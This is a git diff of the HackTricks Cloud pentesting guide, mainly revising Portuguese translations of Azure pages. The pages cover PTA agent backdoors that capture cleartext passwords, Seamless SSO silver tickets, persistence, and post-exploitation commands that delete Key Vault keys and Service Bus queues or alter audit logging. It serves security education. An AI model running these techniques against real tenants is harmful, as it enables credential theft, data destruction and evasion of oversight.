diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 148659326..65241418b 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,11 +1,11 @@ Você pode remover este conteúdo antes de enviar o PR: -## Attribution -Valorizamos seu conhecimento e incentivamos você a compartilhar conteúdo. Por favor, certifique-se de que você só faz upload de conteúdo que você possui ou que tem permissão para compartilhar do autor original (adicionando uma referência ao autor no texto adicionado ou no final da página que você está modificando ou ambos). Seu respeito pelos direitos de propriedade intelectual promove um ambiente de compartilhamento confiável e legal para todos. +## Atribuição +Valorizamos seu conhecimento e incentivamos você a compartilhar conteúdo. Por favor, certifique-se de que você só faça upload de conteúdo que você possui ou que tenha permissão para compartilhar do autor original (adicionando uma referência ao autor no texto adicionado ou no final da página que você está modificando ou ambos). Seu respeito pelos direitos de propriedade intelectual promove um ambiente de compartilhamento confiável e legal para todos. ## HackTricks Training -Se você está adicionando para que possa passar no exame de certificação [ARTE](https://training.hacktricks.xyz/courses/arte) com 2 bandeiras em vez de 3, você precisa chamar o PR de `arte-`. +Se você está adicionando para que possa passar no exame de [ARTE certification](https://training.hacktricks.xyz/courses/arte) com 2 flags em vez de 3, você precisa chamar o PR de `arte-`. -Além disso, lembre-se de que correções de gramática/sintaxe não serão aceitas para a redução de bandeiras do exame. +Além disso, lembre-se de que correções de gramática/sintaxe não serão aceitas para a redução de flags do exame. De qualquer forma, obrigado por contribuir para o HackTricks! diff --git a/.gitignore b/.gitignore index 7fa947732..8d12fbb76 100644 --- a/.gitignore +++ b/.gitignore @@ -3,8 +3,6 @@ - - # General .DS_Store .AppleDouble diff --git a/book.toml b/book.toml index 4add3bde9..e3330d5e6 100644 --- a/book.toml +++ b/book.toml @@ -1,5 +1,5 @@ [book] -authors = ["Carlos Polop"] +authors = ["HackTricks Team"] language = "en" multilingual = false src = "src" diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 56a0cf0dc..37f549101 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -43,14 +43,14 @@ def ref(matchobj): if href.endswith("/"): href = href+"README.md" # Fix if ref points to a folder chapter, _path = findtitle(href, book, "source_path") - logger.debug(f'Recursive title search result: {chapter['name']}') + logger.debug(f'Recursive title search result: {chapter["name"]}') title = chapter['name'] except Exception as e: try: dir = path.dirname(current_chapter['source_path']) logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}') chapter, _path = findtitle(path.normpath(path.join(dir,href)), book, "source_path") - logger.debug(f'Recursive title search result: {chapter['name']}') + logger.debug(f'Recursive title search result: {chapter["name"]}') title = chapter['name'] except Exception as e: logger.debug(f'Error getting chapter title: {path.normpath(path.join(dir,href))}') diff --git a/src/README.md b/src/README.md index f2102e6a1..1b1968d09 100644 --- a/src/README.md +++ b/src/README.md @@ -1,6 +1,6 @@ # HackTricks Cloud -Reading time: {{ #reading_time }} +Tempo de leitura: {{ #reading_time }} {{#include ./banners/hacktricks-training.md}} @@ -9,7 +9,7 @@ Reading time: {{ #reading_time }} _Logos e animações do Hacktricks projetados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ > [!TIP] -> Bem-vindo à página onde você encontrará cada **truque/técnica de hacking/o que for relacionado a CI/CD & Cloud** que aprendi em **CTFs**, **ambientes** **reais**, **pesquisando** e **lendo** pesquisas e notícias. +> Bem-vindo à página onde você encontrará cada **truque/técnica de hacking/o que quer que seja relacionado a CI/CD & Cloud** que aprendi em **CTFs**, **ambientes** da **vida real**, **pesquisando** e **lendo** pesquisas e notícias. ### **Metodologia de Pentesting CI/CD** @@ -31,6 +31,6 @@ _Logos e animações do Hacktricks projetados por_ [_@ppiernacho_](https://www.i ### Estatísticas do Github -![Estatísticas do HackTricks Cloud no Github](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg) +![Estatísticas do Github HackTricks Cloud](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg) {{#include ./banners/hacktricks-training.md}} diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 1b1d60c58..feae5163c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -505,5 +505,3 @@ - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md index d0dd307cf..567786710 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md @@ -4,7 +4,7 @@ ## Informações Básicas -A integração entre **Active Directory (AD)** local e **Azure AD** é facilitada pelo **Azure AD Connect**, oferecendo vários métodos que suportam **Single Sign-on (SSO)**. Cada método, embora útil, apresenta potenciais vulnerabilidades de segurança que podem ser exploradas para comprometer ambientes em nuvem ou locais: +A integração entre **Active Directory (AD) local** e **Azure AD** é facilitada pelo **Azure AD Connect**, oferecendo vários métodos que suportam **Single Sign-on (SSO)**. Cada método, embora útil, apresenta potenciais vulnerabilidades de segurança que podem ser exploradas para comprometer ambientes em nuvem ou locais: - **Pass-Through Authentication (PTA)**: - Possível comprometimento do agente no AD local, permitindo a validação de senhas de usuários para conexões Azure (local para Nuvem). @@ -43,7 +43,7 @@ az-cloud-kerberos-trust.md {{#endref}} - **Default Applications**: -- Comprometer uma conta de Administrador de Aplicação ou a Conta de Sincronização local permite a modificação de configurações de diretório, associações de grupos, contas de usuários, sites do SharePoint e arquivos do OneDrive. +- Comprometimento de uma conta de Administrador de Aplicação ou da Conta de Sincronização local permite a modificação de configurações de diretório, associações de grupos, contas de usuários, sites do SharePoint e arquivos do OneDrive. {{#ref}} az-default-applications.md diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index c112f32dc..e76e99161 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -6,7 +6,7 @@ [Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) A Autenticação Pass-through do Azure Active Directory (Azure AD) permite que seus usuários **façam login em aplicativos tanto locais quanto baseados em nuvem usando as mesmas senhas**. Este recurso proporciona uma melhor experiência para seus usuários - uma senha a menos para lembrar, e reduz os custos do suporte de TI, pois seus usuários são menos propensos a esquecer como fazer login. Quando os usuários fazem login usando o Azure AD, este recurso **valida as senhas dos usuários diretamente contra seu Active Directory local**. -No PTA, as **identidades** são **sincronizadas**, mas as **senhas** **não** são, como no PHS. +No PTA, as **identidades** são **sincronizadas**, mas as **senhas** **não são**, como no PHS. A autenticação é validada no AD local e a comunicação com a nuvem é feita por um **agente de autenticação** executando em um **servidor local** (não precisa estar no DC local). @@ -14,9 +14,9 @@ A autenticação é validada no AD local e a comunicação com a nuvem é feita
-1. Para **fazer login**, o usuário é redirecionado para **Azure AD**, onde ele envia o **nome de usuário** e a **senha** -2. As **credenciais** são **criptografadas** e colocadas em uma **fila** no Azure AD -3. O **agente de autenticação local** coleta as **credenciais** da fila e as **descriptografa**. Este agente é chamado de **"agente de autenticação pass-through"** ou **agente PTA.** +1. Para **fazer login**, o usuário é redirecionado para **Azure AD**, onde ele envia o **nome de usuário** e a **senha**. +2. As **credenciais** são **criptografadas** e colocadas em uma **fila** no Azure AD. +3. O **agente de autenticação local** coleta as **credenciais** da fila e as **descriptografa**. Este agente é chamado de **"agente de autenticação pass-through"** ou **agente PTA**. 4. O **agente** **valida** as credenciais contra o **AD local** e envia a **resposta** **de volta** para o Azure AD que, se a resposta for positiva, **completa o login** do usuário. > [!WARNING] @@ -48,7 +48,7 @@ Este backdoor irá: ### Cloud -> On-Prem > [!CAUTION] -> Após obter **privilegios GA** na nuvem, é possível **registrar um novo agente PTA** configurando-o em uma **máquina controlada pelo atacante**. Uma vez que o agente está **configurado**, podemos **repetir** os **passos anteriores** para **autenticar usando qualquer senha** e também, **obter as senhas em texto claro.** +> Após obter **privilégios GA** na nuvem, é possível **registrar um novo agente PTA** configurando-o em uma **máquina controlada pelo atacante**. Uma vez que o agente está **configurado**, podemos **repetir** os **passos anteriores** para **autenticar usando qualquer senha** e também, **obter as senhas em texto claro.** ### Seamless SSO diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md index 8443deec0..8afc9c0e2 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md @@ -1,18 +1,18 @@ -# Az - SSO Sem Costura +# Az - Seamless SSO {{#include ../../../../banners/hacktricks-training.md}} ## Informações Básicas -[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) O Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **loga automaticamente os usuários quando estão em seus dispositivos corporativos** conectados à sua rede corporativa. Quando ativado, **os usuários não precisam digitar suas senhas para fazer login no Azure AD**, e geralmente, nem mesmo digitar seus nomes de usuário. Este recurso fornece aos seus usuários fácil acesso às suas aplicações baseadas em nuvem sem precisar de componentes adicionais on-premises. +[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) O Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **loga automaticamente os usuários quando estão em seus dispositivos corporativos** conectados à sua rede corporativa. Quando ativado, **os usuários não precisam digitar suas senhas para fazer login no Azure AD**, e geralmente, nem mesmo digitar seus nomes de usuário. Este recurso oferece aos seus usuários fácil acesso às suas aplicações baseadas em nuvem sem precisar de componentes adicionais on-premises.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

Basicamente, o Azure AD Seamless SSO **loga os usuários** quando estão **em um PC conectado ao domínio on-prem**. -É suportado tanto por [**PHS (Sincronização de Hash de Senha)**](phs-password-hash-sync.md) quanto por [**PTA (Autenticação Pass-through)**](pta-pass-through-authentication.md). +É suportado tanto por [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) quanto por [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md). -O SSO de Desktop usa **Kerberos** para autenticação. Quando configurado, o Azure AD Connect cria uma **conta de computador chamada AZUREADSSOACC`$`** no AD on-prem. A senha da conta `AZUREADSSOACC$` é **enviada em texto simples para o Azure AD** durante a configuração. +O SSO de desktop usa **Kerberos** para autenticação. Quando configurado, o Azure AD Connect cria uma **conta de computador chamada AZUREADSSOACC`$`** no AD on-prem. A senha da conta `AZUREADSSOACC$` é **enviada em texto simples para o Azure AD** durante a configuração. Os **tickets Kerberos** são **criptografados** usando o **NTHash (MD4)** da senha e o Azure AD usa a senha enviada para descriptografar os tickets. @@ -74,10 +74,10 @@ Para utilizar o silver ticket, os seguintes passos devem ser executados: Também é possível realizar este ataque **sem um ataque dcsync** para ser mais furtivo, como [explicado neste post do blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Para isso, você só precisa de um dos seguintes: -- **Um TGT de usuário comprometido:** Mesmo que você não tenha um, mas o usuário foi comprometido, você pode obter um usando o truque de delegação de TGT falso implementado em muitas ferramentas como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) e [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). +- **Um TGT de usuário comprometido:** Mesmo que você não tenha um, mas o usuário foi comprometido, você pode obter um usando o truque de delegação de TGT falso implementado em muitas ferramentas, como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) e [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). - **Golden Ticket**: Se você tiver a chave KRBTGT, pode criar o TGT que precisa para o usuário atacado. - **Hash NTLM ou chave AES de um usuário comprometido:** O SeamlessPass se comunicará com o controlador de domínio com essas informações para gerar o TGT. -- **Hash NTLM ou chave AES da conta AZUREADSSOACC$:** Com essas informações e o Identificador de Segurança (SID) do usuário a ser atacado, é possível criar um ticket de serviço e autenticar com a nuvem (como realizado no método anterior). +- **Hash NTLM ou chave AES da conta AZUREADSSOACC$:** Com essas informações e o Identificador de Segurança (SID) do usuário a ser atacado, é possível criar um ticket de serviço e autenticar-se com a nuvem (como realizado no método anterior). Finalmente, com o TGT, é possível usar a ferramenta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) com: ``` @@ -93,17 +93,17 @@ Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, el > Alterar o SID de usuários administradores apenas na nuvem agora está **bloqueado pela Microsoft**.\ > Para mais informações, consulte [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -### On-prem -> Nuvem via Delegação Constrained Baseada em Recurso +### On-prem -> Nuvem via Delegação Constrained Baseada em Recursos -Qualquer pessoa que possa gerenciar contas de computador (`AZUREADSSOACC$`) no contêiner ou OU em que essa conta está, pode **configurar uma delegação constrained baseada em recurso sobre a conta e acessá-la**. +Qualquer pessoa que possa gerenciar contas de computador (`AZUREADSSOACC$`) no contêiner ou OU em que essa conta está, pode **configurar uma delegação constrained baseada em recursos sobre a conta e acessá-la**. ```python python rbdel.py -u \\ -p azureadssosvc$ ``` ## Referências -- [https://learn.microsoft.com/pt-br/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/pt-br/azure/active-directory/hybrid/how-to-connect-sso) -- [https://www.dsinternals.com/pt-br/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/pt-br/impersonating-office-365-users-mimikatz/) +- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) +- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [TR19: Estou na sua nuvem, lendo os e-mails de todo mundo - hackeando Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) +- [TR19: Estou na sua nuvem, lendo os e-mails de todo mundo - hackeando o Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/README.md b/src/pentesting-cloud/azure-security/az-persistence/README.md index 3fa7e9357..39115c068 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/README.md +++ b/src/pentesting-cloud/azure-security/az-persistence/README.md @@ -1,4 +1,4 @@ -# Az - Persistence +# Az - Persistência {{#include ../../../banners/hacktricks-training.md}} @@ -14,7 +14,7 @@ Com privilégios de Administrador de Aplicativos, GA ou um papel personalizado c É possível **mirar em um aplicativo com altas permissões** ou **adicionar um novo aplicativo** com altas permissões. -Um papel interessante para adicionar ao aplicativo seria o **papel de administrador de autenticação privilegiada**, pois permite **reiniciar a senha** de Administradores Globais. +Um papel interessante a ser adicionado ao aplicativo seria o **papel de administrador de autenticação privilegiada**, pois permite **reiniciar a senha** de Administradores Globais. Essa técnica também permite **contornar a MFA**. ```powershell @@ -28,13 +28,13 @@ Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint --permissions rwd --expiry 2024- ``` ## Referências -- https://learn.microsoft.com/pt-br/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/pt-br/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/pt-br/azure/storage/queues/queues-auth-abac-attributes +- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues +- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api +- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md index 4937e22d9..4491ce254 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md @@ -12,11 +12,11 @@ Para mais informações sobre VMs, consulte: ### Aplicações, Extensões e Imagens de VM com Backdoor -Um atacante identifica aplicações, extensões ou imagens que estão sendo frequentemente usadas na conta do Azure, ele poderia inserir seu código nas aplicações e extensões de VM para que toda vez que fossem instaladas, a backdoor fosse executada. +Um atacante identifica aplicações, extensões ou imagens que estão sendo frequentemente usadas na conta do Azure, ele pode inserir seu código nas aplicações e extensões de VM para que toda vez que forem instaladas, a backdoor seja executada. ### Instâncias com Backdoor -Um atacante poderia acessar as instâncias e backdoor elas: +Um atacante pode acessar as instâncias e backdoor elas: - Usando um **rootkit** tradicional, por exemplo - Adicionando uma nova **chave SSH pública** (ver [opções de privesc do EC2](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md index 1105b0f23..be5dff0c0 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -Exploração Pós-Exploração de Compartilhamento de Arquivos +File Share Post Exploitation Para mais informações sobre compartilhamentos de arquivos, consulte: diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md index 2e5709702..03e0e461a 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md @@ -64,13 +64,13 @@ az keyvault secret set --vault-name --name --value --name ``` ### **Microsoft.KeyVault/vaults/keys/delete** -Esta permissão permite que um principal exclua uma chave do cofre. A chave é movida para o estado de "exclusão suave", onde pode ser recuperada, a menos que seja eliminada. +Esta permissão permite que um principal exclua uma chave do cofre. A chave é movida para o estado de "soft-delete", onde pode ser recuperada, a menos que seja excluída permanentemente. ```bash az keyvault key delete --vault-name --name ``` diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md index e136f18df..2c1d38ba3 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md @@ -20,7 +20,7 @@ az storage message peek --queue-name --account-name --account-name ``` @@ -68,8 +68,8 @@ az storage queue policy set --name --permissions rwd --expiry 2024- ``` ## Referências -- https://learn.microsoft.com/pt-br/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/pt-br/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/pt-br/azure/storage/queues/queues-auth-abac-attributes +- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues +- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api +- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md index 55f93d47a..4ccb3a389 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md @@ -24,7 +24,7 @@ az servicebus topic delete --resource-group --namespace-name ``` ### Ações: `Microsoft.ServiceBus/namespaces/queues/Delete` -Um atacante com esta permissão pode excluir uma fila do Azure Service Bus. Esta ação remove a fila e todas as mensagens dentro dela, potencialmente causando perda de dados críticos e interrompendo sistemas e fluxos de trabalho dependentes da fila. +Um atacante com essa permissão pode excluir uma fila do Azure Service Bus. Essa ação remove a fila e todas as mensagens dentro dela, potencialmente causando perda de dados críticos e interrompendo sistemas e fluxos de trabalho dependentes da fila. ```bash az servicebus queue delete --resource-group --namespace-name --name ``` @@ -36,7 +36,7 @@ az servicebus topic subscription delete --resource-group --n ``` ### Ações: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read` -Um atacante com permissões para criar ou modificar namespaces do Azure Service Bus pode explorar isso para interromper operações, implantar recursos não autorizados ou expor dados sensíveis. Eles podem alterar configurações críticas, como habilitar o acesso à rede pública, rebaixar configurações de criptografia ou mudar SKUs para degradar o desempenho ou aumentar custos. Além disso, eles poderiam desabilitar a autenticação local, manipular locais de réplica ou ajustar versões do TLS para enfraquecer os controles de segurança, tornando a má configuração do namespace um risco significativo de pós-exploração. +Um atacante com permissões para criar ou modificar namespaces do Azure Service Bus pode explorar isso para interromper operações, implantar recursos não autorizados ou expor dados sensíveis. Eles podem alterar configurações críticas, como habilitar o acesso à rede pública, rebaixar configurações de criptografia ou mudar SKUs para degradar o desempenho ou aumentar custos. Além disso, eles poderiam desabilitar a autenticação local, manipular locais de réplica ou ajustar versões do TLS para enfraquecer os controles de segurança, tornando a má configuração de namespaces um risco significativo de pós-exploração. ```bash az servicebus namespace create --resource-group --name --location az servicebus namespace update --resource-group --name --tags @@ -50,14 +50,14 @@ az servicebus queue update --resource-group --namespace-name ``` ### Ações: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`) -Um atacante com permissões para criar ou modificar tópicos (para modificar o tópico você também precisará da Ação: `Microsoft.ServiceBus/namespaces/topics/read`) dentro de um namespace do Azure Service Bus pode explorar isso para interromper fluxos de mensagens, expor dados sensíveis ou habilitar ações não autorizadas. Usando comandos como az servicebus topic update, eles podem manipular configurações, como habilitar particionamento para uso indevido de escalabilidade, alterar configurações de TTL para reter ou descartar mensagens de forma inadequada, ou desabilitar a detecção de duplicatas para contornar controles. Além disso, eles poderiam ajustar limites de tamanho de tópicos, mudar o status para interromper a disponibilidade, ou configurar tópicos expressos para armazenar temporariamente mensagens interceptadas, tornando a gestão de tópicos um foco crítico para mitigação pós-exploração. +Um atacante com permissões para criar ou modificar tópicos (para modificar o tópico você também precisará da Ação: `Microsoft.ServiceBus/namespaces/topics/read`) dentro de um namespace do Azure Service Bus pode explorar isso para interromper fluxos de mensagens, expor dados sensíveis ou habilitar ações não autorizadas. Usando comandos como az servicebus topic update, eles podem manipular configurações, como habilitar particionamento para uso indevido de escalabilidade, alterar configurações de TTL para reter ou descartar mensagens de forma inadequada, ou desabilitar a detecção de duplicatas para contornar controles. Além disso, eles poderiam ajustar limites de tamanho de tópicos, mudar o status para interromper a disponibilidade ou configurar tópicos expressos para armazenar temporariamente mensagens interceptadas, tornando a gestão de tópicos um foco crítico para mitigação pós-exploração. ```bash az servicebus topic create --resource-group --namespace-name --name az servicebus topic update --resource-group --namespace-name --name ``` ### Ações: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) -Um atacante com permissões para criar ou modificar assinaturas (para modificar a assinatura, você também precisará da Ação: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) dentro de um tópico do Azure Service Bus pode explorar isso para interceptar, redirecionar ou interromper fluxos de mensagens. Usando comandos como az servicebus topic subscription update, eles podem manipular configurações, como habilitar dead lettering para desviar mensagens, encaminhar mensagens para endpoints não autorizados ou modificar a duração do TTL e do bloqueio para reter ou interferir na entrega de mensagens. Além disso, eles podem alterar o status ou as configurações de contagem máxima de entrega para interromper operações ou evitar detecção, tornando o controle de assinaturas um aspecto crítico dos cenários de pós-exploração. +Um atacante com permissões para criar ou modificar assinaturas (para modificar a assinatura, você também precisará da Ação: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) dentro de um tópico do Azure Service Bus pode explorar isso para interceptar, redirecionar ou interromper fluxos de mensagens. Usando comandos como az servicebus topic subscription update, eles podem manipular configurações como habilitar dead lettering para desviar mensagens, encaminhar mensagens para endpoints não autorizados ou modificar a duração do TTL e do bloqueio para reter ou interferir na entrega de mensagens. Além disso, eles podem alterar configurações de status ou contagem máxima de entrega para interromper operações ou evitar detecção, tornando o controle de assinaturas um aspecto crítico de cenários de pós-exploração. ```bash az servicebus topic subscription create --resource-group --namespace-name --topic-name --name az servicebus topic subscription update --resource-group --namespace-name --topic-name --name @@ -72,12 +72,12 @@ Dê uma olhada aqui: ## Referências -- https://learn.microsoft.com/pt-br/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/pt-br/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/pt-br/azure/storage/queues/queues-auth-abac-attributes -- https://learn.microsoft.com/pt-br/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless -- https://learn.microsoft.com/pt-br/azure/role-based-access-control/permissions/integration#microsoftservicebus -- https://learn.microsoft.com/pt-br/cli/azure/servicebus/namespace?view=azure-cli-latest -- https://learn.microsoft.com/pt-br/cli/azure/servicebus/queue?view=azure-cli-latest +- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues +- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api +- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes +- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless +- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus +- https://learn.microsoft.com/en-us/cli/azure/servicebus/namespace?view=azure-cli-latest +- https://learn.microsoft.com/en-us/cli/azure/servicebus/queue?view=azure-cli-latest {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index 14595895c..f3a7cfb1a 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -1,10 +1,10 @@ -# Az - SQL Database Post Exploitation +# Az - SQL Database Pós Exploração {{#include ../../../banners/hacktricks-training.md}} -## SQL Database Post Exploitation +## Pós Exploração de Banco de Dados SQL -Para mais informações sobre SQL Database, consulte: +Para mais informações sobre Banco de Dados SQL, consulte: {{#ref}} ../az-services/az-sql.md @@ -12,7 +12,7 @@ Para mais informações sobre SQL Database, consulte: ### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write" -Com essas permissões, um atacante pode criar e atualizar bancos de dados dentro do ambiente comprometido. Esta atividade de pós-exploração pode permitir que um atacante adicione dados maliciosos, modifique configurações de banco de dados ou insira backdoors para maior persistência, potencialmente interrompendo operações ou permitindo ações maliciosas adicionais. +Com essas permissões, um atacante pode criar e atualizar bancos de dados dentro do ambiente comprometido. Essa atividade de pós-exploração pode permitir que um atacante adicione dados maliciosos, modifique configurações de banco de dados ou insira backdoors para maior persistência, potencialmente interrompendo operações ou permitindo ações maliciosas adicionais. ```bash # Create Database az sql db create --resource-group --server --name @@ -42,7 +42,7 @@ az sql elastic-pool update \ ``` ### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write" -Com esta permissão, você pode modificar ou habilitar as configurações de auditoria em um Azure SQL Server. Isso pode permitir que um atacante ou usuário autorizado manipule as configurações de auditoria, potencialmente encobrindo rastros ou redirecionando os logs de auditoria para um local sob seu controle. Isso pode dificultar a monitorização de segurança ou permitir que continue a acompanhar as ações. NOTA: Para habilitar a auditoria para um Azure SQL Server usando Blob Storage, você deve anexar uma conta de armazenamento onde os logs de auditoria podem ser salvos. +Com essa permissão, você pode modificar ou habilitar as configurações de auditoria em um Azure SQL Server. Isso pode permitir que um atacante ou usuário autorizado manipule as configurações de auditoria, potencialmente encobrindo rastros ou redirecionando os logs de auditoria para um local sob seu controle. Isso pode dificultar a monitorização de segurança ou permitir que ela acompanhe as ações. NOTA: Para habilitar a auditoria para um Azure SQL Server usando Blob Storage, você deve anexar uma conta de armazenamento onde os logs de auditoria podem ser salvos. ```bash az sql server audit-policy update \ --server \ @@ -53,7 +53,7 @@ az sql server audit-policy update \ ``` ### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write" -Com esta permissão, você pode modificar as políticas de conexão de um Azure SQL Server. Essa capacidade pode ser explorada para habilitar ou alterar as configurações de conexão em nível de servidor. +Com essa permissão, você pode modificar as políticas de conexão de um Azure SQL Server. Essa capacidade pode ser explorada para habilitar ou 